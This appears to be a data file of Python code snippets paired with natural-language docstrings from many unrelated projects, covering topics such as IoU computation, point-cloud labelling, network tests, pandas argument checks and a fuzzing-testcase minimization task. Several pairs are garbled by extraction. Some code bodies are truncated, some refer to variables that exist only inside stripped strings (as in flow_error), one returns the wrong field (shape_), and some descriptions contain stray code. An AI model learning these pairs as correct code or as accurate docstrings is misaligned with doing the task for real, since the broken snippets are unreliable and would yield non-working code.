np.zeros((len(atlbrs), len(btlbrs)), dtype=np.float)\n if ious.size == 0:\n return ious\n\n ious = bbox_ious(\n np.ascontiguousarray(atlbrs, dtype=np.float),\n np.ascontiguousarray(btlbrs, dtype=np.float)\n )\n\n return ious\n\n", "nl": "Compute cost based on IoU:type atlbrs: list[tlbr] | np.ndarray:type atlbrs: list[tlbr] | np.ndarray:rtype ious np.ndarray"} {"code": "def get_label_mask(self, points, labels, mask, tilecode):\n logger.info(f'AHN [{self.method}/{self.target}] fuser ' +\n f'(label={self.label}, {Labels.get_str(self.label)}).')\n\n if self.target == 'ground':\n target_z = self.ahn_reader.interpolate(\n tilecode, points[mask, :], mask, 'ground_surface')\n elif self.target == 'building':\n target_z = self.ahn_reader.interpolate(\n tilecode, points[mask, :], mask, 'building_surface')\n\n label_mask = np.zeros((len(points),), dtype=bool)\n if self.target == 'ground':\n ground_mask = (np.abs(points[mask, 2] - target_z) < self.epsilon)\n if self.refine_ground and (np.count_nonzero(ground_mask) > 0):\n logger.info(f'{np.count_nonzero(ground_mask)} points added.')\n tmp_labels = labels[mask].copy()\n tmp_labels[ground_mask] = self.label\n ref_mask = self._refine_ground(\n points[mask], target_z, ground_mask,\n tmp_labels, Labels.UNLABELLED)\n ground_mask = ground_mask & ~ref_mask\n label_mask[mask] = ground_mask\n elif self.target == 'building':\n label_mask[mask] = points[mask, 2] < target_z + self.epsilon\n\n return label_mask", "nl": "Returns the label mask for the given pointcloud.Parameters----------points : array of shape (n_points, 3)The point cloud .labels : array of shape (n_points,)Ignored by this fuser.mask : array of shape (n_points,) with dtype=boolPre-mask used to label only a subset of the points.tilecode : strThe CycloMedia tile-code for the given pointcloud.Returns-------An array of shape (n_points,) with dtype=bool indicating which pointsshould be labelled according to this fuser."} {"code": "def proceed(protos, port):\n self.assertTrue(protos[0])\n self.assertTrue(protos[1])\n protos = protos[0][1], protos[1][1]\n protos[0].transport.write(b'x' * (2 * 4096) + b'y' * (2 * 4096))\n return (sf.stop.addCallback(cleanup, protos, port)\n .addCallback(lambda ign: reactor.stop()))\n", "nl": "Send several IOCPReactor's buffers' worth of data."} {"code": "def flow_error(tu, tv, u, v):\n smallflow = 0.0\n '''\n stu = tu[:]\n stv = tv[:]\n su = u[:]\n sv = v[:]\n\n idxUnknow = (abs(stu) > UNKNOWN_FLOW_THRESH) | (abs(stv) > UNKNOWN_FLOW_THRESH)\n stu[idxUnknow] = 0\n stv[idxUnknow] = 0\n su[idxUnknow] = 0\n sv[idxUnknow] = 0\n\n ind2 = [(np.absolute(stu) > smallflow) | (np.absolute(stv) > smallflow)]\n index_su = su[ind2]\n index_sv = sv[ind2]\n an = 1.0 / np.sqrt(index_su ** 2 + index_sv ** 2 + 1)\n un = index_su * an\n vn = index_sv * an\n\n index_stu = stu[ind2]\n index_stv = stv[ind2]\n tn = 1.0 / np.sqrt(index_stu ** 2 + index_stv ** 2 + 1)\n tun = index_stu * tn\n tvn = index_stv * tn\n\n '''\n\n epe = np.sqrt((stu - su) ** 2 + (stv - sv) ** 2)\n epe = epe[ind2]\n mepe = np.mean(epe)\n return mepe\n\n", "nl": "Calculate average end point error:param tu: ground-truth horizontal flow map:param tv: ground-truth vertical flow map:param u: estimated horizontal flow map:param v: estimated vertical flow map:return: End point error of the estimated flow"} {"code": "def _parse_sar(self, stdout):\n\n Sar = namedtuple('Sar', 'rxerr, coll, txerr, rxdrop, txdrop, txcarr')\n return Sar(*stdout.split()[2:8])\n", "nl": "Massage stdout from subprocess.Popen in the Sar namedtuple. Errors worth keeping are definedwithin NetIFace.NIC_STATS:param stdout: str of data received from subprocess.Popen."} {"code": "def test_invalid_after_capture(self):\n\n self.env = gym.make('gym_go:go-v0', size=3, reward_method='real')\n for move in [0, 8, 6, 4, 1, 2, 3, 7]:\n state, reward, done, info = self.env.step(move)\n\n with self.assertRaises(Exception):\n self.env.step(5)\n", "nl": "1, 5, 6,7, 4, _,3, 8, 2,:return:"} {"code": "def test_syntax_5():\n compile_source(source, 'Main')\n\n", "nl": "source = dedent(\\template Main(A):pass)"} {"code": "def getAvatarText(avIdList):\n avatarText = ''\n nameList = []\n for avId in avIdList:\n avatar = base.cr.doId2do.get(avId)\n if avatar:\n nameList.append(avatar.name)\n if (len(nameList) > 0):\n lastName = nameList.pop()\n avatarText = lastName\n if (len(nameList) > 0):\n secondLastName = nameList.pop()\n for name in nameList:\n avatarText = name + ', '\n avatarText += secondLastName + ' ' + TTLocalizer.And + ' ' + lastName\n return avatarText\n\n if (reason == BoardingPartyBase.BOARDCODE_MINLAFF):\n self.notify.debug(\"%s 's group cannot board because it does not have enough laff points.\" % (leaderId))\n\n elevator = base.cr.doId2do.get(elevatorId)\n if elevator:\n minLaffPoints = elevator.minLaff\n else:\n minLaffPoints = TTLocalizer.BoardingMore\n\n if (leaderId in avatarsFailingRequirements):\n rejectText = TTLocalizer.BoardcodeMinLaffLeader %(minLaffPoints)\n else:\n avatarNameText = getAvatarText(avatarsFailingRequirements)\n if (len(avatarsFailingRequirements) == 1):\n rejectText = TTLocalizer.BoardcodeMinLaffNonLeaderSingular %(avatarNameText, minLaffPoints)\n else:\n rejectText = TTLocalizer.BoardcodeMinLaffNonLeaderPlural %(avatarNameText, minLaffPoints)\n\n elif (reason == BoardingPartyBase.BOARDCODE_PROMOTION):\n self.notify.debug(\"%s 's group cannot board because it does not have enough promotion merits.\" % (leaderId))\n if (leaderId in avatarsFailingRequirements):\n rejectText = TTLocalizer.BoardcodePromotionLeader\n else:\n avatarNameText = getAvatarText(avatarsFailingRequirements)\n if (len(avatarsFailingRequirements) == 1):\n rejectText = TTLocalizer.BoardcodePromotionNonLeaderSingular %(avatarNameText)\n else:\n rejectText = TTLocalizer.BoardcodePromotionNonLeaderPlural %(avatarNameText)\n\n elif (reason == BoardingPartyBase.BOARDCODE_BATTLE):\n self.notify.debug(\"%s 's group cannot board because it is in a battle\" % (leaderId))\n if (leaderId in avatarsInBattle):\n rejectText = TTLocalizer.BoardcodeBattleLeader\n else:\n avatarNameText = getAvatarText(avatarsInBattle)\n if (len(avatarsInBattle) == 1):\n rejectText = TTLocalizer.BoardcodeBattleNonLeaderSingular %(avatarNameText)\n else:\n rejectText = TTLocalizer.BoardcodeBattleNonLeaderPlural %(avatarNameText)\n\n elif (reason == BoardingPartyBase.BOARDCODE_SPACE):\n self.notify.debug(\"%s 's group cannot board there was not enough room\" % (leaderId))\n rejectText = TTLocalizer.BoardcodeSpace\n\n elif (reason == BoardingPartyBase.BOARDCODE_MISSING):\n self.notify.debug(\"%s 's group cannot board because something was missing\" % (leaderId))\n rejectText = TTLocalizer.BoardcodeMissing\n base.localAvatar.elevatorNotifier.showMe(rejectText)\n", "nl": "This function takes a list of avIds and returns a string of names.If there is only 1 person it returns \"avatarOneName\"If there are 2 people it returns \"avatarOneName and avatarTwoName\"If there are 3 or more people it returns \"avatarOneName, avatarTwoName and avatarThreeName\""} {"code": "def shape_(self):\n\n return self.vocab.store[self.lex_meta.prefix]\n\n @property", "nl": "Transform of the word's string, to show orthographic features.return self.vocab.store[self.lex_meta.shape]@propertydef prefix_(self):Length-1 substring from the start of the word."} {"code": "def _check_for_default_values(fname, arg_val_dict, compat_args):\n for key in arg_val_dict:\n try:\n v1 = arg_val_dict[key]\n v2 = compat_args[key]\n\n if (v1 is not None and v2 is None) or (v1 is None and v2 is not None):\n match = False\n else:\n match = v1 == v2\n\n if not is_bool(match):\n raise ValueError(\"'match' is not a boolean\")\n\n except ValueError:\n match = arg_val_dict[key] is compat_args[key]\n\n if not match:\n raise ValueError(\n f\"the '{key}' parameter is not supported in \"\n f\"the pandas implementation of {fname}()\"\n )\n\n", "nl": "Check that the keys in `arg_val_dict` are mapped to theirdefault values as specified in `compat_args`.Note that this function is to be called only when it has beenchecked that arg_val_dict.keys() is a subset of compat_args"} {"code": "def replace_letters(self, letter: str) -> int:\n return self.key_string.index(letter)\n", "nl": ">>> hill_cipher = HillCipher(numpy.array([[2, 5], [1, 6]]))>>> hill_cipher.replace_letters('T')19>>> hill_cipher.replace_letters('0')26"} {"code": "def listen(self, factory):\n if self._used:", "nl": "Implement L{IStreamServerEndpoint.listen} to start listening on, andthen close, C{self._fileno}."} {"code": "def plot_to_image(figure):\n buf = io.BytesIO()\n plt.savefig(buf, format='png')\n plt.close(figure)\n buf.seek(0)\n image = tf.image.decode_png(buf.getvalue(), channels=4)\n image = tf.expand_dims(image, 0)\n return image\n", "nl": "Converts the matplotlib plot specified by 'figure' to a PNG imageand returns it. The supplied figure is closed and inaccessible afterthis call."} {"code": "def queue_input(self, msg):\n self.jarvis_api.queue_input(msg)\n", "nl": "Queue msg to be returned by 'jarvis.input()'"} {"code": "def children(self):\n return self._children\n\n @children.setter", "nl": "list of :class:`Node` : The children of this node."} {"code": "def _execute_pep8(pep8_options, source):\n", "nl": "Execute pycodestyle via python method calls.class QuietReport(pycodestyle.BaseReport):Version of checker that does not print."} {"code": "def connection_from_url(self, url, pool_kwargs=None):\n u = parse_url(url)\n return self.connection_from_host(\n u.host, port=u.port, scheme=u.scheme, pool_kwargs=pool_kwargs\n )\n", "nl": "Similar to :func:`urllib3.connectionpool.connection_from_url`.If ``pool_kwargs`` is not provided and a new pool needs to beconstructed, ``self.connection_pool_kw`` is used to initializethe :class:`urllib3.connectionpool.ConnectionPool`. If ``pool_kwargs``is provided, it is used instead. Note that if a new pool does notneed to be created for the request, the provided ``pool_kwargs`` arenot used."} {"code": "def empty(self) -> bool:\n return False if self.stack else True\n\n\n", "nl": "Returns whether the queue is empty."} {"code": "def query(self, what):\n return self.info(what)\n", "nl": "Alias for info."} {"code": "def parseChunks(self, chunks):\n return b''.join(chunks).split(b'\\0')\n\n\n\nclass GetEnvironmentDictionary(UtilityProcessProtocol):\n \"\"\"\n programName = b\"twisted.test.process_getenv\"\n", "nl": "Parse the output from the process to which this protocol wasconnected, which is a single unterminated line of \\\\0-separatedstrings giving the argv of that process. Return this as a list ofstr objects."} {"code": "def get_ppc_mac_book():\n if not is_ppc():\n return False\n if get_ppc_machine() != \"PMac\":\n return False\n\n with open('/proc/cpuinfo', 'r') as f:\n for line in f:\n if 'book' in line.lower():\n return True\n\n return False\n\n", "nl": ":return: True if the hardware is an i_book or PowerBook, False otherwise.:rtype: string"} {"code": "def may_share_memory(a, b, max_work=None):\n return (a, b)\n\n\n@array_function_from_c_func_and_dispatcher(_multiarray_umath.is_busday)", "nl": "may_share_memory(a, b, max_work=None)Determine if two arrays might share memoryA return of True does not necessarily mean that the two arraysshare any element. It just means that they *might*.Only the memory bounds of a and b are checked by default.Parameters----------a, b : ndarrayInput arraysmax_work : int, optionalEffort to spend on solving the overlap problem. See`shares_memory` for details. Default for ``may_share_memory``is to do a bounds check.Returns-------out : boolSee Also--------shares_memoryExamples-------->>> np.may_share_memory(np.array([1,2]), np.array([5,8,9]))False>>> x = np.zeros([3, 4])>>> np.may_share_memory(x[:,0], x[:,1])True"} {"code": "def add(x1, x2):\n arr1 = numpy.asarray(x1)\n arr2 = numpy.asarray(x2)\n out_size = _get_num_chars(arr1) + _get_num_chars(arr2)\n dtype = _use_unicode(arr1, arr2)\n return _vec_string(arr1, (dtype, out_size), '__add__', (arr2,))\n", "nl": "Return element-wise string concatenation for two arrays of str or unicode.Arrays `x1` and `x2` must have the same shape.Parameters----------x1 : array_like of str or unicodeInput array.x2 : array_like of str or unicodeInput array.Returns-------add : ndarrayOutput array of `string_` or `unicode_`, depending on input typesof the same shape as `x1` and `x2`."} {"code": "def destroy(self):\n self.prev.next = self.next\n self.next.prev = self.prev\n if self.parent.cache_head == self:\n self.parent.cache_head = None\n self.prev = self.next = self.parent = self.key = self.value = None\n\n\nclass _FreqNode(object):\n \"\"\"\n\n __slots__ = 'prev', 'next', 'frequency', 'cache_head', '__weakref__'\n", "nl": "Destroy the current cache node"} {"code": "def rmtree(path, ignore_errors=False, onerror=None):\n if ignore_errors:", "nl": "Recursively delete a directory tree.If ignore_errors is set, errors are ignored; otherwise, if onerroris set, it is called to handle the error with arguments (func,path, exc_info) where func is platform and implementation dependent;path is the argument to that function that caused it to fail; andexc_info is a tuple returned by sys.exc_info(). If ignore_errorsis false and onerror is None, an exception is raised."} {"code": "def _generative(*assertions):\n\n return state_str(instance_state(instance))\n\n", "nl": "Mark a method as generative, e.g. method-chained.@util.decoratordef generate(fn, *args, **kw):self = args[0]._clone()for assertion in assertions:assertion(self, fn.__name__)fn(self, *args[1:], **kw)return selfreturn generate# these can be replaced by sqlalchemy.ext.instrumentation# if augmented class instrumentation is enabled.def manager_of_class(cls):return cls.__dict__.get(DEFAULT_MANAGER_ATTR, None)instance_state = operator.attrgetter(DEFAULT_STATE_ATTR)instance_dict = operator.attrgetter('__dict__')def instance_str(instance):Return a string describing an instance."} {"code": "def allocate(self, address_request):", "nl": "Allocates an IP address based on the request passed in:param address_request: Specifies what to allocate.:type address_request: An instance of a subclass of AddressRequest:returns: A netaddr.IPAddress, subnet_id tuple:raises: AddressNotAvailable, AddressOutsideAllocationPool,AddressOutsideSubnet, IpAddressGenerationFailureAllSubnets"} {"code": "def from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs):\n\n resolved_vocab_file = os.path.join(pretrained_model_name_or_path, 'vocab.txt')\n\n max_len = 512\n kwargs['max_len'] = min(kwargs.get('max_len', int(1e12)), max_len)\n tokenizer = cls(resolved_vocab_file, *inputs, **kwargs)\n\n return tokenizer\n\n\nclass BasicTokenizer(object):\n \"\"\"Runs basic tokenization (punctuation splitting, lower casing, etc.).\"\"\"", "nl": "Instantiate a PreTrainedBertModel from a pre-trained model file.Download and cache the pre-trained model file if needed."} {"code": "def __init__(self, master=None, cnf={}, **kw):\n Widget.__init__(self, master, 'listbox', cnf, kw)", "nl": "Construct a listbox widget with the parent MASTER.Valid resource names: background, bd, bg, borderwidth, cursor,exportselection, fg, font, foreground, height, highlightbackground,highlightcolor, highlightthickness, relief, selectbackground,selectborderwidth, selectforeground, selectmode, setgrid, takefocus,width, xscrollcommand, yscrollcommand, listvariable."} {"code": "def __init__(self, func, *criterion):\n self.func = func\n self.filter(*criterion)\n", "nl": "Produce a :class:`.FunctionFilter` object against a function.Used against aggregate and window functions,for database backends that support the \"FILTER\" clause.E.g.::from sqlalchemy import funcfilterfuncfilter(func.count(1), MyClass.name == 'some name')Would produce \"COUNT(1) FILTER (WHERE myclass.name = 'some name')\".This function is also available from the :data:`~.expression.func`construct itself via the :meth:`.FunctionElement.filter` method... versionadded:: 1.0.0.. seealso:::meth:`.FunctionElement.filter`"} {"code": "def test_currency_denominations(self):\n assert isinstance(self.skill_context.namespace, SimpleNamespace)\n", "nl": "Test 'currency_denominations' property getter.assert (self.skill_context.currency_denominations== self.my_aea.context.currency_denominations)def test_namespace(self):Test the 'namespace' property getter."} {"code": "def render_pep440_pre(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n if pieces[\"distance\"]:\n rendered += \".post.dev%d\" % pieces[\"distance\"]\n else:\n rendered = \"0.post.dev%d\" % pieces[\"distance\"]\n return rendered\n\n", "nl": "TAG[.post.devDISTANCE] -- No -dirty.Exceptions:1: no tags. 0.post.devDISTANCE"} {"code": "def forward(self, image, factor=1):\n if isinstance(factor, (int, float)):\n image = image.float() / (self.c_table * factor)\n else:\n b = factor.size(0)\n table = self.c_table.expand(b, 1, 8, 8) * factor.view(b, 1, 1, 1)\n image = image.float() / table\n image = self.rounding(image)\n return image\n\n\nclass CompressJpeg(nn.Module):\n \"\"\"Full JPEG compression algorithm\n", "nl": "Args:image(tensor): batch x height x widthReturns:Tensor: batch x height x width"} {"code": "def _user_activity_query(user_id: str, limit: int) -> QActivity:\n\n Return a list of all activities from or about the given user, i.e. where\n the given user is the subject or object of the activity, e.g.:\n\n \"{USER} created the dataset {DATASET}\"\n \"{OTHER_USER} started following {USER}\"\n etc.\n\n \"\"\"", "nl": "Return an SQLAlchemy query for all activities from or about user_id.q1 = _activities_limit(_activities_from_user_query(user_id), limit)q2 = _activities_limit(_activities_about_user_query(user_id), limit)return _activities_union_all(q1, q2)def user_activity_list(user_id: str, limit: int, offset: int) -> list[Activity]:Return user_id's public activity stream."} {"code": "def flatten_parameters(model):\n return np.concatenate([layer.flatten() for layer in model.get_weights()])\n\n", "nl": "Gets the weights from the network layers and puts them in one flatparameter vector"} {"code": "def __init__(self, p: float = 0.5, inplace: bool = False):\n super(Dropout, self).__init__(p=p, inplace=inplace)\n", "nl": "During training, randomly zeroes some of the elements of the input tensor with probability `p` using samples \\from a Bernoulli distribution.:param p: probability of an element to be zeroed. Default: 0.5:param inplace: If set to ``True``, will do this operation in-place. Default: ``False``"} {"code": "def register_deep_copy_op_c_code(typ, code, version=()):\n DeepCopyOp.c_code_and_version[typ] = (code, version)\n\n\nclass DeepCopyOp(gof.Op):\n c_code_and_version = {}\n\n check_input = False\n __props__ = ()\n", "nl": "Tell DeepCopyOp how to generate C code for a Theano Type.Parameters----------typ : Theano typeIt must be the Theano class itself and not an instance of the class.code: C codeDeep copies the Theano type 'typ'. Use %(iname)s and %(oname)s for theinput and output C variable names respectively.versionA number indicating the version of the code, for cache."} {"code": "def __iadd__(self, other):\n self = Code(self.rstrip() + (\"\\n \" + regex.sub(r\"(\\n+)\", \"\\\\1 \", other).strip()) + \"\\n\")\n return self\n", "nl": "Adds an expression.self = Code(self + other)return selfdef __imul__(self, other):Adds a scope."} {"code": "def get(self, tzid=None):\n if tzid is None:\n if len(self._vtz) == 0:", "nl": "Retrieve a :py:class:`datetime.tzinfo` object by its ``tzid``.:param tzid:If there is exactly one time zone available, omitting ``tzid``or passing :py:const:`None` value returns it. Otherwise a validkey (which can be retrieved from :func:`keys`) is required.:raises ValueError:Raised if ``tzid`` is not specified but there are either moreor fewer than 1 zone defined.:returns:Returns either a :py:class:`datetime.tzinfo` object representingthe relevant time zone or :py:const:`None` if the ``tzid`` wasnot found."} {"code": "def testHeaderDefaultBehavior(self, mock_conn):\n mock_conn.putheader.return_value = None\n self.instance.putheader('content-length', '10')\n self.instance.putheader('content-range', 'bytes 0-99/*')\n self.assertAlmostEqual(self.instance.size_modifier, 1.0)\n\n @mock.patch(https_connection)", "nl": "Test the size modifier is correct under expected headers.mock_conn.putheader.return_value = Noneself.instance.putheader('content-encoding', 'gzip')self.instance.putheader('content-length', '10')self.instance.putheader('content-range', 'bytes 0-104/*')# Ensure the modifier is as expected.self.assertAlmostEqual(self.instance.size_modifier, 10.5)@mock.patch(https_connection)def testHeaderIgnoreWithoutGzip(self, mock_conn):Test that the gzip content-encoding is required to modify size."} {"code": "def get_cache_item(self):\n setattr(self.template, self.options['template_cache_key'], item)", "nl": "Gets the cached item. Raises AttributeError if it hasn't been set.if settings.DEBUG:raise AttributeError('Caching disabled in DEBUG mode')return getattr(self.template, self.options['template_cache_key'])def set_cache_item(self, item):Sets the cached item"} {"code": "def test_eventTypes_should_return_a_list(self):", "nl": "Test eventTypes(self)"} {"code": "def get_data(self):\n dset = getattr(torchvision.datasets, self.name.upper())\n dset = dset(self.data_dir, train=self.train, download=False)\n data, targets = dset.data, dset.targets\n return data, targets\n\n", "nl": "get_data returns data (images) and targets (labels)"} {"code": "def to_shapely_annotation(self):\n if self.mask:\n shapely_annotation = ShapelyAnnotation.from_coco_segmentation(\n segmentation=self.mask.to_coco_segmentation(),\n )\n else:\n shapely_annotation = ShapelyAnnotation.from_coco_bbox(\n bbox=self.bbox.to_coco_bbox(),\n )\n return shapely_annotation\n", "nl": "Returns sahi.utils.shapely.ShapelyAnnotation representation of ObjectAnnotation."} {"code": "def wk_click_element_ajax(self, element, wait_requests=1, timeout=None):\n return self.wk_click_element(element, wait_requests=wait_requests, timeout=timeout)\n", "nl": "Click a AJAX link and wait for the request to finish.@param selector: WebKit xpath selector to an element@param wait_requests: How many requests to wait before returning. Useful for AJAX requests.@param: timeout timeout to wait in seconds"} {"code": "def dimensions(self) -> List[Dimension]:\n Can external code register a new dimension.\n\n If False :meth:`register_dimension` will have no effect.\n \"\"\"", "nl": "A list of all the dimensions contained in the world.raise NotImplementedError@property@abstractmethoddef can_add_dimension(self) -> bool:"} {"code": "def execute_parallel_runs(self, runs, instances=None):\n deadline = tasks.get_task_completion_deadline()\n\n testcase = data_handler.get_testcase_by_id(testcase_id)\n if not testcase:\n return\n\n data_handler.update_testcase_comment(testcase, data_types.TaskState.STARTED)\n\n minimize_fuzzer_override = environment.get_value('MINIMIZE_FUZZER_OVERRIDE')\n file_list, input_directory, testcase_file_path = setup.setup_testcase(\n testcase, job_type, fuzzer_override=minimize_fuzzer_override)\n if not file_list:\n return\n\n max_timeout = environment.get_value('TEST_TIMEOUT', 10)\n app_arguments = environment.get_value('APP_ARGS')\n\n last_tested_crash_revision = testcase.get_metadata(\n 'last_tested_crash_revision')\n\n crash_revision = last_tested_crash_revision or testcase.crash_revision\n build_manager.setup_build(crash_revision)\n\n if not build_manager.check_app_path():\n logs.log_error('Unable to setup build for minimization.')\n build_fail_wait = environment.get_value('FAIL_WAIT')\n\n if environment.get_value('ORIGINAL_JOB_NAME'):\n _skip_minimization(testcase, 'Failed to setup build for overridden job.')\n else:\n tasks.add_task(\n 'minimize', testcase_id, job_type, wait_time=build_fail_wait)\n\n return\n\n if environment.is_libfuzzer_job():\n do_libfuzzer_minimization(testcase, testcase_file_path)\n return\n\n if environment.is_engine_fuzzer_job():\n _skip_minimization(testcase, 'Engine does not support minimization.')\n return\n\n max_threads = utils.maximum_parallel_processes_allowed()\n\n crash_retries = environment.get_value('CRASH_RETRIES')\n warmup_timeout = environment.get_value('WARMUP_TIMEOUT')\n required_arguments = environment.get_value('REQUIRED_APP_ARGS', '')\n\n additional_required_arguments = testcase.get_metadata(\n 'additional_required_app_args')\n if additional_required_arguments:\n required_arguments = '%s %s' % (required_arguments,\n additional_required_arguments)\n\n test_runner = TestRunner(testcase, testcase_file_path, file_list,\n input_directory, app_arguments, required_arguments,\n max_threads, deadline)\n\n warmup_crash_occurred = False\n result = test_runner.run(timeout=warmup_timeout, log_command=True)\n if result.is_crash():\n warmup_crash_occurred = True\n logs.log('Warmup crash occurred in %d seconds.' % result.crash_time)\n\n saved_unsymbolized_crash_state, flaky_stack, crash_times = (\n check_for_initial_crash(test_runner, crash_retries, testcase))\n\n reproducible_crash_count = (\n testcase_manager.REPRODUCIBILITY_FACTOR * crash_retries)\n if (len(crash_times) < reproducible_crash_count and warmup_crash_occurred and\n max_threads > 1):\n logs.log('Attempting to continue single-threaded.')\n\n max_threads = 1\n test_runner = TestRunner(testcase, testcase_file_path, file_list,\n input_directory, app_arguments, required_arguments,\n max_threads, deadline)\n\n saved_unsymbolized_crash_state, flaky_stack, crash_times = (\n check_for_initial_crash(test_runner, crash_retries, testcase))\n\n if not crash_times:\n testcase = data_handler.get_testcase_by_id(testcase_id)\n data_handler.update_testcase_comment(testcase, data_types.TaskState.ERROR,\n 'Unable to reproduce crash')\n task_creation.mark_unreproducible_if_flaky(testcase, True)\n return\n\n if flaky_stack:\n testcase = data_handler.get_testcase_by_id(testcase_id)\n testcase.flaky_stack = flaky_stack\n testcase.put()\n\n is_redo = testcase.get_metadata('redo_minimize')\n if not is_redo and len(crash_times) < reproducible_crash_count:\n testcase = data_handler.get_testcase_by_id(testcase_id)\n testcase.minimized_keys = 'NA'\n error_message = (\n 'Crash occurs, but not too consistently. Skipping minimization '\n '(crashed %d/%d)' % (len(crash_times), crash_retries))\n data_handler.update_testcase_comment(testcase, data_types.TaskState.ERROR,\n error_message)\n create_additional_tasks(testcase)\n return\n\n test_runner.set_test_expectations(testcase.security_flag, flaky_stack,\n saved_unsymbolized_crash_state)\n\n test_timeout = min(max(crash_times), max_timeout) + 1\n logs.log('Using timeout %d (was %d)' % (test_timeout, max_timeout))\n test_runner.timeout = test_timeout\n\n logs.log('Starting minimization.')\n\n if should_attempt_phase(testcase, MinimizationPhase.GESTURES):\n gestures = minimize_gestures(test_runner, testcase)\n\n testcase = data_handler.get_testcase_by_id(testcase.key.id())\n\n if testcase.security_flag and len(testcase.gestures) != len(gestures):\n testcase.security_severity = severity_analyzer.get_security_severity(\n testcase.crash_type, data_handler.get_stacktrace(testcase), job_type,\n bool(gestures))\n\n testcase.gestures = gestures\n testcase.set_metadata('minimization_phase', MinimizationPhase.MAIN_FILE)\n\n if time.time() > test_runner.deadline:\n tasks.add_task('minimize', testcase.key.id(), job_type)\n return\n\n data = utils.get_file_contents_with_fatal_error_on_failure(testcase_file_path)\n if should_attempt_phase(testcase, MinimizationPhase.MAIN_FILE):\n data = minimize_main_file(test_runner, testcase_file_path, data)\n\n if check_deadline_exceeded_and_store_partial_minimized_testcase(\n deadline, testcase_id, job_type, input_directory, file_list, data,\n testcase_file_path):\n return\n\n testcase.set_metadata('minimization_phase', MinimizationPhase.FILE_LIST)\n\n if should_attempt_phase(testcase, MinimizationPhase.FILE_LIST):\n if environment.get_value('MINIMIZE_FILE_LIST', True):\n file_list = minimize_file_list(test_runner, file_list, input_directory,\n testcase_file_path)\n\n if check_deadline_exceeded_and_store_partial_minimized_testcase(\n deadline, testcase_id, job_type, input_directory, file_list, data,\n testcase_file_path):\n return\n else:\n logs.log('Skipping minimization of file list.')\n\n testcase.set_metadata('minimization_phase', MinimizationPhase.RESOURCES)\n\n if should_attempt_phase(testcase, MinimizationPhase.RESOURCES):\n if environment.get_value('MINIMIZE_RESOURCES', True):\n for dependency in file_list:\n minimize_resource(test_runner, dependency, input_directory,\n testcase_file_path)\n\n if check_deadline_exceeded_and_store_partial_minimized_testcase(\n deadline, testcase_id, job_type, input_directory, file_list, data,\n testcase_file_path):\n return\n else:\n logs.log('Skipping minimization of resources.')\n\n testcase.set_metadata('minimization_phase', MinimizationPhase.ARGUMENTS)\n\n if should_attempt_phase(testcase, MinimizationPhase.ARGUMENTS):\n app_arguments = minimize_arguments(test_runner, app_arguments)\n\n testcase.minimized_arguments = app_arguments\n testcase.put()\n\n if check_deadline_exceeded_and_store_partial_minimized_testcase(\n deadline, testcase_id, job_type, input_directory, file_list, data,\n testcase_file_path):\n return\n\n command = testcase_manager.get_command_line_for_application(\n testcase_file_path, app_args=app_arguments, needs_http=testcase.http_flag)\n last_crash_result = test_runner.last_failing_result\n\n store_minimized_testcase(testcase, input_directory, file_list, data,\n testcase_file_path)\n finalize_testcase(\n testcase_id, command, last_crash_result, flaky_stack=flaky_stack)\n\n", "nl": "Run multiple instances of this test in parallel.if not instances:instances = self.threads# TODO(mbarbella): Hack for Android. If we are running single-threaded, it# is safe to call a cleanup function on each thread. Ideally, the minimizer# would like to assume that when it finishes running a process it cleans# itself up properly.cleanup_function = Noneif self.threads == 1:cleanup_function = process_handler.cleanup_stale_processesrun_queue = minimizer.TestQueue(instances, per_thread_cleanup_function=cleanup_function)for _ in range(runs):run_queue.push(self.file_path, self.run, self.store_result_from_run)run_queue.process()# At timeout, we send SIGTERM. Wait for 2 seconds before sending SIGKILL.time.sleep(2)process_handler.cleanup_stale_processes()with self._result_lock:results = self._resultsself._results = []return resultsdef execute_task(testcase_id, job_type):Attempt to minimize a given testcase."} {"code": "def set_ntp_servers(self, primary, secondary=None):\n import pandevice.device\n self._logger.debug(\"Set ntp-servers: primary:%s secondary:%s\" % (primary, secondary))\n system = self.findall_or_create(pandevice.device.SystemSettings)[0]\n if primary is None:\n ntp1 = system.findall(pandevice.device.NTPServerPrimary)\n if ntp1:\n ntp1[0].delete()\n else:\n ntp1 = system.findall_or_create(pandevice.device.NTPServerPrimary)[0]\n if ntp1.address != primary:\n ntp1.address = primary\n ntp1.create()\n if secondary is None:\n ntp2 = system.findall(pandevice.device.NTPServerSecondary)\n if ntp2:\n ntp2[0].delete()\n else:\n ntp2 = system.findall_or_create(pandevice.device.NTPServerSecondary)[0]\n if ntp2.address != secondary:\n ntp2.address = secondary\n ntp2.create()\n", "nl": "Set the device NTP ServersConvenience method to set the firewall or Panorama NTP serversArgs:primary (str): IP address of primary DNS serversecondary (str): IP address of secondary DNS server"} {"code": "def test_query_courses_facets_sorting_alphabetical(self, *_):\n data = self.prepare_indices()\n response = self.client.get(\n \"/api/v1.0/courses/?scope=filters&facet_sorting=name\"\n )\n self.assertEqual(response.status_code, 200)\n self.assertEqual(\n response.json()[\"filters\"][\"subjects\"],\n {\n \"base_path\": \"0001\",\n \"has_more_values\": True,\n \"human_name\": \"Subjects\",\n \"is_autocompletable\": True,\n \"is_drilldown\": False,\n \"is_searchable\": True,\n \"name\": \"subjects\",\n \"position\": 2,\n \"values\": [\n {\n \"count\": 1,\n \"human_name\": \"Computer science\",\n \"key\": data[\"subjects\"][7].get_es_id(),\n },\n {\n \"count\": 2,\n \"human_name\": \"Economy and Finance\",\n \"key\": data[\"subjects\"][3].get_es_id(),\n },\n {\n \"count\": 2,\n \"human_name\": \"Education and Training\",\n \"key\": data[\"subjects\"][4].get_es_id(),\n },\n {\n \"count\": 1,\n \"human_name\": \"Education and career guidance\",\n \"key\": data[\"subjects\"][9].get_es_id(),\n },\n {\n \"count\": 1,\n \"human_name\": \"Entrepreneurship\",\n \"key\": data[\"subjects\"][6].get_es_id(),\n },\n {\n \"count\": 2,\n \"human_name\": \"Human and social sciences\",\n \"key\": data[\"subjects\"][1].get_es_id(),\n },\n {\n \"count\": 1,\n \"human_name\": \"Languages\",\n \"key\": data[\"subjects\"][8].get_es_id(),\n },\n {\n \"count\": 2,\n \"human_name\": \"Law\",\n \"key\": data[\"subjects\"][2].get_es_id(),\n },\n {\n \"count\": 1,\n \"human_name\": \"Management\",\n \"key\": data[\"subjects\"][5].get_es_id(),\n },\n {\n \"count\": 2,\n \"human_name\": \"Science\",\n \"key\": data[\"subjects\"][0].get_es_id(),\n },\n ],\n },\n )\n", "nl": 